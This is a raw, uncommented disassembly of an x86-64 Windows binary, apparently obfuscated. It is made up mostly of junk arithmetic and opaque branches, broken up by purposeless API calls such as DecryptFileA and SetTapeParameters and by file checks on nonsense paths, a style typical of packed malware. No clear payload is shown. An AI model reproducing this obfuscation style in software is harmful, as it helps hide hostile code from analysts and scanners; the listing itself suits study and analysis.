mov eax, dword [rsp + 0x4cac]
mov ecx, dword [rsp + 0x4ccc]
sub ecx, eax
mov eax, ecx
mov dword [section..data], eax
movzx eax, byte [rsp + 0x71]
mov byte [rsp + 0x4d10], al
cmp byte [rsp + 0x4d10], 0xe3
je 0x140002431
jmp 0x140002476
lea r8, [rsp + 0x4ce4]
mov rdx, qword [rsp + 0x8b38]
mov rcx, qword [rsp + 0x8b40]
call qword [sym.imp.GDI32.dll_PlayEnhMetaFile]
mov dword [rsp + 0x4cb0], eax
mov rax, qword [rsp + 0x8b20]
mov rcx, qword [rsp + 0x8af8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ab0], rax
jmp 0x140002486
lea rax, [rsp + 0x4ccc]
mov qword [rsp + 0x8b48], rax
jmp 0x1400024ba
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
sar eax, cl
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ac0]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x72]
call fcn.1401cc930
nop
mov rax, qword [rsp + 0x8ad0]
mov qword [rsp + 0x8b50], rax
mov rax, qword [rsp + 0x8b20]
mov qword [rsp + 0x8b58], rax
movabs rax, 0x79fce96930e3f7
cmp qword [rsp + 0x8b58], rax
je 0x1400024f3
jmp 0x14000262f
mov rax, qword [rsp + 0x8ab0]
movzx ecx, al
mov rax, qword [rsp + 0x8b20]
shl rax, cl
cmp rax, qword [rsp + 0x8af8]
jle 0x140002569
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
sub eax, 0xe0
mov byte [rsp + 0x71], al
lea rdx, [rsp + 0x2a100]
mov rcx, qword [rsp + 0x8b60]
call qword [sym.imp.GDI32.dll_GetWindowExtEx]
mov dword [rsp + 0x4cb0], eax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff0]
add eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
jmp 0x14000262d
mov eax, dword [rsp + 0x4cd0]
mov ecx, dword [rsp + 0x4ccc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b48]
mov edx, dword [rsp + 0x4cac]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jae 0x14000262d
movzx eax, word [rsp + 0xff4]
mov dword [rsp + 0x4d14], eax
cmp dword [rsp + 0x4d14], 0x65d
je 0x1400025c1
cmp dword [rsp + 0x4d14], 0xdf3
je 0x14000260d
jmp 0x14000262d
movzx eax, word [rsp + 0xff8]
and eax, 0x319
mov word [rsp + 0xff4], ax
lea rdx, [rsp + 0x8ad8]
mov rcx, qword [rsp + 0x8b40]
call qword [sym.imp.GDI32.dll_SetColorAdjustment]
mov dword [rsp + 0x4cb0], eax
mov edx, dword [rsp + 0x4cec]
mov rax, qword [rsp + 0x8ae8]
movzx ecx, word [rax]
call fcn.1401cd2d0
nop
jmp 0x14000262d
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff0]
add eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
jmp 0x140002669
lea rax, [rsp + 0x70]
mov qword [rsp + 0x8b68], rax
mov rax, qword [rsp + 0x8ae8]
movzx eax, word [rax]
mov word [0x1401e8790], ax
lea rax, [rsp + 0x4ccc]
mov qword [rsp + 0x8b70], rax
mov dword [rsp + 0x4d18], 0xfab
mov dword [rsp + 0x4d1c], 0x9eee
movsx eax, word [rsp + 0xff0]
mov dword [rsp + 0x4d20], eax
cmp dword [rsp + 0x4d20], 0x4e4
je 0x140002728
cmp dword [rsp + 0x4d20], 0x454f
je 0x1400026a6
jmp 0x140002852
lea rax, [rsp + 0x4cbc]
mov qword [rsp + 0x8b78], rax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
sub eax, 0x87
movzx ecx, byte [rsp + 0x71]
cmp eax, ecx
jle 0x140002703
mov rax, qword [rsp + 0x8b20]
mov rcx, qword [rsp + 0x8ab0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8af8], rax
movzx edx, byte [rsp + 0x70]
mov rax, qword [rsp + 0x8b68]
movzx ecx, byte [rax]
call fcn.1401cc930
nop
mov rax, qword [rsp + 0x8b00]
mov rax, qword [rax]
mov qword [rsp + 0x8b80], rax
lea rax, [rsp + 0x71]
mov qword [rsp + 0x8b88], rax
jmp 0x140002852
mov dword [rsp + 0x60], 0x10
mov dword [rsp + 0x58], 0xb5
lea rax, [rsp + 0x2a100]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x8b90]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x40], 0x43
mov dword [rsp + 0x38], 0x10
mov dword [rsp + 0x30], 0xe6
mov dword [rsp + 0x28], 0xfa
mov dword [rsp + 0x20], 0xb9
mov r9d, 0x5f
mov r8d, 0x58
mov edx, 0xea
mov rcx, qword [rsp + 0x8b98]
call qword [sym.imp.GDI32.dll_StretchDIBits]
mov dword [rsp + 0x4cbc], eax
movzx eax, word [rsp + 0xff4]
add eax, 0x457
mov word [rsp + 0xff8], ax
mov rax, qword [rsp + 0x8b78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cc4]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x4d00]
mov edx, dword [rsp + 0x4cec]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x140002811
movzx eax, byte [rsp + 0x71]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x8b80]
mov r8d, dword [rsp + 0x4cac]
movzx edx, byte [rsp + 0x70]
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rax]
call fcn.1401cd5a0
nop
jmp 0x140002852
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
or eax, ecx
movzx ecx, byte [rsp + 0x71]
cmp eax, ecx
jge 0x140002852
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff0]
xor eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
movzx eax, word [rsp + 0xff4]
sar eax, 0x8d
movzx ecx, word [rsp + 0xff8]
cmp eax, ecx
jne 0x140002927
mov eax, dword [rsp + 0x4cd0]
mov dword [rsp + 0x4d24], eax
cmp dword [rsp + 0x4d24], 0xf7b7
je 0x14000288d
jmp 0x14000290f
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
and eax, ecx
movzx ecx, byte [rsp + 0x71]
cmp eax, ecx
jle 0x14000290d
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72]
add eax, ecx
mov byte [rsp + 0x70], al
mov edx, 0x9f
mov rcx, qword [rsp + 0x8ba0]
call qword [sym.imp.ADVAPI32.dll_DecryptFileA]
mov dword [rsp + 0x4d28], eax
movzx eax, byte [rsp + 0x71]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x8ad0]
mov rax, qword [rsp + 0x8b48]
mov r8d, dword [rax]
movzx edx, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x8b50]
call fcn.1401cd5a0
nop
jmp 0x140002927
mov eax, dword [rsp + 0x4ccc]
mov ecx, dword [rsp + 0x4cd0]
add ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x8b48]
mov rcx, qword [rsp + 0x8b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
movsx eax, word [rsp + 0xff0]
mov dword [rsp + 0x4d2c], eax
cmp dword [rsp + 0x4d2c], 0x57d
je 0x140002965
jmp 0x1400029d4
mov rax, qword [rsp + 0x8b78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d00]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cc4], eax
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ad0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x8ba0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov dword [rsp + 0x4ce4], eax
movzx eax, word [rsp + 0xff4]
sub eax, 0x972
mov word [rsp + 0xff8], ax
jmp 0x1401cc68b
movsx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x8b68]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
movsx eax, word [0x1401e8790]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
sar eax, cl
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff0]
shl eax, cl
mov word [0x1401e8790], ax
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8b80], rax
mov eax, dword [rsp + 0x4cbc]
mov ecx, dword [rsp + 0x4cc4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x71]
sub eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
mov eax, dword [rsp + 0x4ccc]
mov ecx, dword [rsp + 0x4cac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cd0], eax
mov rax, qword [rsp + 0x8b68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
sub eax, ecx
mov rcx, qword [rsp + 0x8b68]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff0]
sub eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
movzx eax, word [rsp + 0xff4]
add eax, 0x631
mov word [rsp + 0xff8], ax
mov eax, dword [rsp + 0x4ccc]
mov ecx, dword [rsp + 0x4cac]
and ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4cc4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b48]
mov rcx, qword [rsp + 0x8ac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4cac], eax
mov rax, qword [rsp + 0x8b20]
mov rcx, qword [rsp + 0x8ab0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8af8], rax
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b80]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
movzx eax, word [rsp + 0xff4]
shl eax, 8
mov word [rsp + 0xff8], ax
movsx eax, word [rsp + 0xff0]
movsx ecx, word [0x1401e8790]
sar eax, cl
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x71], al
movsx eax, word [rsp + 0xff0]
movsx ecx, word [0x1401e8790]
sub eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [0x1401e8790]
add eax, ecx
mov word [rsp + 0xff0], ax
mov eax, dword [rsp + 0x4cec]
mov ecx, dword [rsp + 0x4d00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cbc], eax
mov rax, qword [rsp + 0x8b80]
mov rcx, qword [rsp + 0x8b50]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ccc], eax
mov rax, qword [rsp + 0x8b20]
mov rcx, qword [rsp + 0x8af8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ab0], rax
movzx eax, word [rsp + 0xff4]
and eax, 0xaff
mov word [rsp + 0xff8], ax
movsx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x70], al
movsx eax, word [rsp + 0xff0]
movsx ecx, word [0x1401e8790]
xor eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
movsx eax, word [rsp + 0xff0]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401e8790], ax
movsx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x8b68]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x4d00]
movzx ecx, al
mov eax, dword [rsp + 0x4cbc]
sar eax, cl
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ccc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b50]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b80], rax
mov rax, qword [rsp + 0x8af8]
mov rcx, qword [rsp + 0x8b20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ab0], rax
mov eax, dword [rsp + 0x4ce0]
add eax, 0x95
mov dword [rsp + 0x4ce0], eax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [0x1401e8790]
add eax, ecx
mov word [rsp + 0xff0], ax
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
movsx eax, word [rsp + 0xff0]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e8790], ax
movzx eax, word [rsp + 0xff8]
sub eax, 0x379
mov word [rsp + 0xff4], ax
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4cec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b80]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b50], rax
mov rax, qword [rsp + 0x8b48]
mov ecx, dword [rsp + 0x4cac]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8b48]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4cec]
mov rcx, qword [rsp + 0x8b78]
mov qword [rsp + 0x8ba8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8ba8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4cc4], eax
movsx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [0x1401e8790]
xor eax, ecx
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x8b68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72]
add eax, ecx
mov rcx, qword [rsp + 0x8b68]
mov byte [rcx], al
cmp dword [rsp + 0x4ce0], 0x12bbf
jbe 0x1400029d4
mov rax, qword [rsp + 0x8ae8]
movzx eax, word [rax]
mov word [rsp + 0xffc], ax
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
cmp eax, ecx
jge 0x140003000
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
mov dword [rsp + 0x4d30], eax
cmp dword [rsp + 0x4d30], 0xa188
je 0x140002fad
jmp 0x140002fe2
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4cc4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b68]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x70]
call fcn.1401cc930
nop
jmp 0x140002ffb
mov rax, qword [rsp + 0x8b70]
mov ecx, dword [section..data]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4cd0], eax
jmp 0x140003089
movzx eax, byte [rsp + 0x71]
mov byte [rsp + 0x4d34], al
cmp byte [rsp + 0x4d34], 0xd8
je 0x140003018
jmp 0x140003037
lea rdx, [rsp + 0x2a2c0]
lea rcx, str.C:SurfactantsCalendarsHeavings
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rsp + 0x8bb0], rax
jmp 0x14000307e
mov rax, qword [rsp + 0x8b20]
mov qword [rsp + 0x8bb8], rax
mov dword [rsp + 0x4d38], 0xedfb
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8b80], rax
mov dword [rsp + 0x4d3c], 0x7c6a
mov dword [rsp + 0x4d40], 0x9109
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x71], al
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72]
sub eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x8b48]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4cac]
shr eax, cl
mov dword [section..data], eax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72]
or eax, ecx
mov rcx, qword [rsp + 0x8b68]
mov byte [rcx], al
mov eax, dword [rsp + 0x4cec]
mov ecx, dword [rsp + 0x4d00]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cbc], eax
mov eax, dword [rsp + 0x4ccc]
mov rcx, qword [rsp + 0x8ac8]
mov qword [rsp + 0x8bc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8bc0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4cd0], eax
mov eax, dword [rsp + 0x4cd8]
add eax, 0x82
mov dword [rsp + 0x4cd8], eax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8ad0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8af8]
mov rcx, qword [rsp + 0x8ab0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bb8], rax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8b68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x72], al
movzx eax, word [rsp + 0xff4]
and eax, 0xe17
mov word [rsp + 0xff8], ax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff0]
sub eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
movsx eax, word [rsp + 0xffc]
movsx ecx, word [rsp + 0xff0]
add eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
cmp dword [rsp + 0x4cd8], 0x37ac
jb 0x140003089
lea rax, [rsp + 0x8b20]
mov qword [rsp + 0x8bc8], rax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff0]
add eax, ecx
movsx ecx, word [0x1401e8790]
movsx edx, word [rsp + 0xffc]
add ecx, edx
cmp eax, ecx
je 0x140003346
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b50]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
movzx eax, word [rsp + 0xff4]
xor eax, 0x1b5
movzx ecx, word [rsp + 0xff8]
cmp eax, ecx
jge 0x1400032fc
mov rax, qword [rsp + 0x8b48]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4cd0]
shr eax, cl
mov dword [rsp + 0x4cac], eax
lea r8, [rsp + 0x8bb0]
mov edx, pe_nt_image_headers64
mov rcx, qword [rsp + 0x8bd0]
call qword [sym.imp.KERNEL32.dll_SetTapeParameters]
mov dword [rsp + 0x4d44], eax
mov eax, dword [rsp + 0x4cc4]
movzx ecx, al
mov eax, dword [rsp + 0x4cec]
shl eax, cl
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
movsx eax, word [rsp + 0xffc]
movsx ecx, word [0x1401e8790]
and eax, ecx
mov word [rsp + 0xff0], ax
lea rcx, str.C:PrototypeFatalitiesConvertclubsFiltration
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rsp + 0x4cd0], eax
mov rax, qword [rsp + 0x8b78]
mov eax, dword [rax]
mov dword [rsp + 0x4d48], eax
cmp dword [rsp + 0x4d48], 0x702e
je 0x140003369
jmp 0x14000345a
movzx eax, word [rsp + 0xff4]
mov dword [rsp + 0x4d4c], eax
cmp dword [rsp + 0x4d4c], 0x5c9
je 0x140003397
cmp dword [rsp + 0x4d4c], 0x9dd
je 0x1400033ec
jmp 0x140003433
movsx eax, word [rsp + 0xff0]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xffc], ax
mov rcx, qword [rsp + 0x8bd8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4ce4], eax
mov rax, qword [rsp + 0x8ad0]
mov rcx, qword [rsp + 0x8b50]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b28]
mov qword [rcx], rax
jmp 0x140003433
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4d00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4cec], eax
mov rax, qword [rsp + 0x8bc8]
mov rcx, qword [rsp + 0x8bb8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8bc8]
mov qword [rcx], rax
mov ecx, 0xdd
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea r8, [rsp + 0x8be0]
mov edx, 1
mov rcx, qword [rsp + 0x8bd8]
call qword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
mov dword [rsp + 0x4d28], eax
jmp 0x1401cc618
mov eax, dword [rsp + 0x4ccc]
mov dword [rsp + 0x4d50], eax
movzx eax, word [rsp + 0xff4]
mov word [rsp + 0x1000], ax
cmp dword [rsp + 0x4cd4], 0xb308
jb 0x1400038c6
movsx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x8b68]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x71], al
movsx eax, byte [rsp + 0x72]
movsx ecx, byte [rsp + 0x70]
xor eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b70]
mov rcx, qword [rsp + 0x8ac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x8ac8]
mov rcx, qword [rsp + 0x8b48]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4ccc], eax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8b80], rax
mov rax, qword [rsp + 0x8bc8]
mov rcx, qword [rsp + 0x8af8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8bb8], rax
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4cec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4cd4]
sub eax, 0xa0
mov dword [rsp + 0x4cd4], eax
movsx eax, word [rsp + 0xff0]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xffc], ax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x71], al
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72]
add eax, ecx
mov rcx, qword [rsp + 0x8b68]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov rax, qword [rsp + 0x8bc8]
mov rcx, qword [rsp + 0x8af8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8bc8]
mov qword [rcx], rax
mov eax, dword [section..data]
mov dword [rsp + 0x4d44], eax
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4cbc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ad0]
mov rcx, qword [rsp + 0x8b00]
mov qword [rsp + 0x8be8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8be8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x8b28]
mov qword [rcx], rax
movsx eax, word [0x1401e8790]
movsx ecx, word [rsp + 0xffc]
or eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xffc]
shl eax, cl
mov word [rsp + 0xff0], ax
movzx eax, word [rsp + 0xff4]
movzx ecx, word [rsp + 0x1000]
and eax, ecx
mov word [rsp + 0xff8], ax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72]
add eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff0]
sub eax, ecx
mov word [0x1401e8790], ax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [0x1401e8790]
sub eax, ecx
mov word [rsp + 0xffc], ax
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4cc4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4cbc], eax
mov rax, qword [rsp + 0x8bb8]
mov rcx, qword [rsp + 0x8ab0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b20], rax
mov rax, qword [rsp + 0x8b70]
mov rcx, qword [rsp + 0x8b48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4d44], eax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0x8ad0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8b80], rax
mov rax, qword [rsp + 0x8b48]
mov ecx, dword [rsp + 0x4cd0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b68]
movsx eax, byte [rax]
